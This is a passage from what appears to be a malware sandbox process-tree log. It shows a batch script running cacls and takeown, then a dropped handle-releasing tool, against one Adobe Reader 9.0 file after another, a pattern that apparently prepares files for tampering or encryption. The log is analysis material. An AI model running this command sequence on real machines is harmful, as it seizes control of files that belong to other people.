C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵PID:1452
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵PID:1540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵
- Modifies file permissions
PID:972
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "eng.hyp" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "eng.hyp" -nobanner4⤵PID:1168
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵PID:1132
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt" /E /G Admin:F /C3⤵PID:1108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt"3⤵
- Modifies file permissions
PID:872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "zdingbat.txt" -nobanner3⤵PID:1212
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "zdingbat.txt" -nobanner4⤵PID:1372
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1700
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵PID:1940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT" /E /G Admin:F /C3⤵PID:240
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"3⤵PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "TURKISH.TXT" -nobanner3⤵PID:764
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "TURKISH.TXT" -nobanner4⤵PID:1896
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1328
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵PID:952
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵PID:760
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵
- Modifies file permissions
PID:1452
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "bl.gif" -nobanner3⤵PID:732
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "bl.gif" -nobanner4⤵PID:1984
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵PID:1604
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵PID:1068
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵PID:2028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "forms_super.gif" -nobanner3⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "forms_super.gif" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1364
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵PID:696
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵PID:1940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "review_browser.gif" -nobanner3⤵PID:428
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "review_browser.gif" -nobanner4⤵PID:1956
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1120
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵PID:1888
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵PID:1788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵PID:1532
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "tl.gif" -nobanner3⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "tl.gif" -nobanner4⤵PID:1700
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1132
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵PID:1756
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Identity-V" -nobanner3⤵PID:1896
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Identity-V" -nobanner4⤵PID:940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵PID:1104
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵PID:1452
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵PID:1040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵PID:904
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵PID:872
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1532
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵PID:792
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵PID:1132
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵PID:948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SC_Reader.exe" -nobanner3⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SC_Reader.exe" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:624
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵PID:1248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵PID:300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "brt55.ths" -nobanner3⤵PID:1756
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "brt55.ths" -nobanner4⤵PID:1408
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2044
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵PID:1048
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵PID:1212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵
- Modifies file permissions
PID:1104
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "usa03.hsp" -nobanner3⤵PID:1096
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "usa03.hsp" -nobanner4⤵PID:1984
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:732
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵PID:1540
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵PID:1184
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵PID:1700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵PID:1940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵PID:696
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵PID:1248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1252.TXT" -nobanner3⤵PID:1932
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1252.TXT" -nobanner4⤵PID:1900
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:552
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵PID:240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵PID:1100
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "pmd.cer" -nobanner3⤵PID:564
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "pmd.cer" -nobanner4⤵PID:624
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:792
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵PID:832
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵PID:300
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "email_initiator.gif" -nobanner3⤵PID:1364
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "email_initiator.gif" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵PID:1956
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵PID:552
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵PID:928
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "pdf.gif" -nobanner3⤵PID:1096
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "pdf.gif" -nobanner4⤵PID:948
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1100
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C3⤵PID:792
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"3⤵
- Modifies file permissions
PID:844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "server_issue.gif" -nobanner3⤵PID:1940
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "server_issue.gif" -nobanner4⤵PID:972
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1176
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""2⤵PID:2044
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:336
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"3⤵PID:1108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner3⤵PID:872
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner4⤵PID:696
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""2⤵PID:2000
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C3⤵PID:2008
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"3⤵PID:1956
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CourierStd.otf" -nobanner3⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CourierStd.otf" -nobanner4⤵PID:240
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:844
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""2⤵PID:1548
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"3⤵
- Modifies file permissions
PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "zx______.pfm" -nobanner3⤵PID:1408
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "zx______.pfm" -nobanner4⤵PID:428
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""2⤵PID:1788
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C3⤵PID:1068
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"3⤵
- Modifies file permissions
PID:1364
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner3⤵PID:732
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner4⤵PID:1900
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""2⤵PID:1896
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C3⤵PID:844
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"3⤵PID:1004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "can32.clx" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "can32.clx" -nobanner4⤵PID:1052
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""2⤵PID:1408
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C3⤵PID:1168
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"3⤵PID:1328
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "symbol.txt" -nobanner3⤵PID:1308
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "symbol.txt" -nobanner4⤵PID:928
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:680
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT""2⤵PID:1900
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT" /E /G Admin:F /C3⤵PID:1012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT"3⤵PID:872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SYMBOL.TXT" -nobanner3⤵PID:300
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SYMBOL.TXT" -nobanner4⤵PID:1184
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif""2⤵PID:1756
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif" /E /G Admin:F /C3⤵PID:832
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif"3⤵PID:1896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "br.gif" -nobanner3⤵PID:1212
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "br.gif" -nobanner4⤵PID:972
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif""2⤵PID:1364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif" /E /G Admin:F /C3⤵PID:1100
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif"3⤵PID:428
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "form_responses.gif" -nobanner3⤵PID:552
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "form_responses.gif" -nobanner4⤵PID:1788
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif""2⤵PID:1096
-
